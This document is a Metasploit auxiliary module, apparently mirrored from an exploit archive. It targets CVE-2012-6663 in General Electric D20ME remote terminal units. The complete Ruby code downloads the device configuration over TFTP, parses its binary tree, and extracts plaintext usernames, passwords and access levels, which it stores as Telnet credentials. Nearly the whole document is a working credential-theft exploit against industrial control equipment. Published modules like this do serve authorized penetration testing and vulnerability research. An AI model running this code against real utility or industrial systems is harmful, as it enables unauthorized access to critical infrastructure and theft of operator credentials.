## https://sploitus.com/exploit?id=PACKETSTORM:180602
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
##
# This module grabs the device configuration from a GE D20M* RTU and
# parses the usernames and passwords from it.
##
class MetasploitModule < Msf::Auxiliary
include Rex::Ui::Text
include Rex::Proto::TFTP
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'General Electric D20 Password Recovery',
'Description' => %q{
The General Electric D20ME and possibly other units (D200?) feature
TFTP readable configurations with plaintext passwords. This module
retrieves the username, password, and authentication level list.
},
'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-6663'],
],
'DisclosureDate' => '2012-01-19'
))
register_options(
[
Opt::RPORT(69),
Opt::RHOST('192.168.255.1'),
OptString.new('REMOTE_CONFIG_NAME', [true, "The remote filename used to retrieve the configuration", "NVRAM\\D20.zlb"])
])
end
def setup
@rhost = datastore['RHOST']
@rport = datastore['RPORT'] || 69
@lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))
@lhost = datastore['LHOST'] || "0.0.0.0"
@rfile = datastore['REMOTE_CONFIG_NAME']
end
def cleanup
if @tftp_client and @tftp_client.respond_to? :complete
while not @tftp_client.complete
select(nil,nil,nil,1)
vprint_status "Cleaning up the TFTP client ports and threads."
@tftp_client.stop
end
end
end
def rtarget(ip=nil)
if (ip or rhost) and rport
[(ip || rhost),rport].map {|x| x.to_s}.join(":") << " "
elsif (ip or rhost)
rhost
else
""
end
end
# Retrieve the file
def retrieve
print_status("Retrieving file")
@tftp_client = Rex::Proto::TFTP::Client.new(
"LocalHost" => @lhost,
"LocalPort" => @lport,
"PeerHost" => @rhost,
"PeerPort" => @rport,
"RemoteFile" => @rfile,
"Action" => :download
)
@tftp_client.send_read_request { |msg| print_tftp_status(msg) }
@tftp_client.threads do |thread|
thread.join
end
# Wait for GET to finish
while not @tftp_client.complete
select(nil, nil, nil, 0.1)
end
fh = @tftp_client.recv_tempfile
return fh
end
# Builds a big-endian word
def makeword(bytestr)
return bytestr.unpack("n")[0]
end
# builds abi
def makelong(bytestr)
return bytestr.unpack("N")[0]
end
# Returns a pointer. We re-base the pointer
# so that it may be used as a file pointer.
# In the D20 memory, the file is located in flat
# memory at 0x00800000.
def makefptr(bytestr)
ptr = makelong(bytestr)
ptr = ptr - 0x00800000
return ptr
end
# Build a string out of the file. Assumes that the string is
# null-terminated. This will be the case in the D20 Username
# and Password fields.
def makestr(f, strptr)
f.seek(strptr)
str = ""
b = f.read(1)
if b != 0
str = str + b
end
while b != "\000"
b = f.read(1)
if b != "\000"
str = str + b
end
end
return str
end
# configuration section names in the file are always
# 8 bytes. Sometimes they are null-terminated strings,
# but not always, so I use this silly helper function.
def getname(f, entryptr)
f.seek(entryptr + 12) # three ptrs then name
str = f.read(8)
return str
end
def leftchild(f, entryptr)
f.seek(entryptr + 4)
ptr = f.read(4)
return makefptr(ptr)
end
def rightchild(f, entryptr)
f.seek(entryptr + 8)
ptr = f.read(4)
return makefptr(ptr)
end
# find the entry in the configuration file.
# the file is a binary tree, with pointers to parent, left, right
# stored as 32-bit big-endian values.
# sorry for depth-first recursion
def findentry(f, name, start)
f.seek(start)
myname = getname(f, start)
if name == myname
return start
end
left = leftchild(f, start)
right = rightchild(f, start)
if name < myname
if left < f.stat.size and left != 0
res = findentry(f, name, leftchild(f, start))
else
res = nil # this should perolate up
end
end
if name > myname
if right < f.stat.size and right != 0
res = findentry(f, name, rightchild(f, start))
else
res = nil
end
end
return res
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
# Parse the usernames, passwords, and security levels from the config
# It's a little ugly (lots of hard-coded offsets).
# The userdata starts at an offset dictated by the B014USERS config
# offset 0x14 (20) bytes. The rest is all about skipping past the
# section header.
def parseusers(f, userentryptr)
f.seek(userentryptr + 0x14)
dstart = makefptr(f.read(4))
f.seek(userentryptr + 0x1C)
numentries = makelong(f.read(4))
f.seek(userentryptr + 0x60)
headerlen = makeword(f.read(2))
f.seek(userentryptr + 40) # sorry decimal
entrylen = makeword(f.read(2)) # sorry this is decimal
logins = Rex::Text::Table.new(
'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)",
'Indent' => 1,
'Columns' => ["Type", "User Name", "Password"])
0.upto(numentries -1).each do |i|
f.seek(dstart + headerlen + i * entrylen)
accounttype = makeword(f.read(2))
f.seek(dstart + headerlen + i * entrylen + 2)
accountname = makestr(f, dstart + headerlen + i * entrylen + 2)
f.seek(dstart + headerlen + i * entrylen + 2 + 22)
accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)
if accountname.size + accountpass.size > 44
print_error("Bad account parsing at #{dstart + headerlen + i * entrylen}")
break
end
logins << [accounttype, accountname, accountpass]
report_cred(
ip: datastore['RHOST'],
port: 23,
service_name: 'telnet',
user: accountname,
password: accountpass,
proof: accounttype
)
end
if not logins.rows.empty?
loot = store_loot(
"d20.user.creds",
"text/csv",
datastore['RHOST'],
logins.to_s,
"d20_user_creds.txt",
"General Electric TELNET User Credentials",
datastore['RPORT']
)
print_line logins.to_s
print_status("Loot stored in: #{loot}")
else
print_error("No data collected")
end
end
def parse(fh)
print_status("Parsing file")
File.open(fh.path, 'rb') do |f|
used = f.read(4)
if used != "USED"
print_error "Invalid Configuration File!"
return
end
f.seek(0x38)
start = makefptr(f.read(4))
userptr = findentry(f, "B014USER", start)
if userptr != nil
parseusers(f, userptr)
else
print_error "Error finding the user table in the configuration."
end
end
end
def run
fh = retrieve
parse(fh)
end
def print_tftp_status(msg)
case msg
when /Aborting/, /errors.$/
print_error [rtarget,msg].join
when /^WRQ accepted/, /^Sending/, /complete!$/
print_good [rtarget,msg].join
else
vprint_status [rtarget,msg].join
end
end
end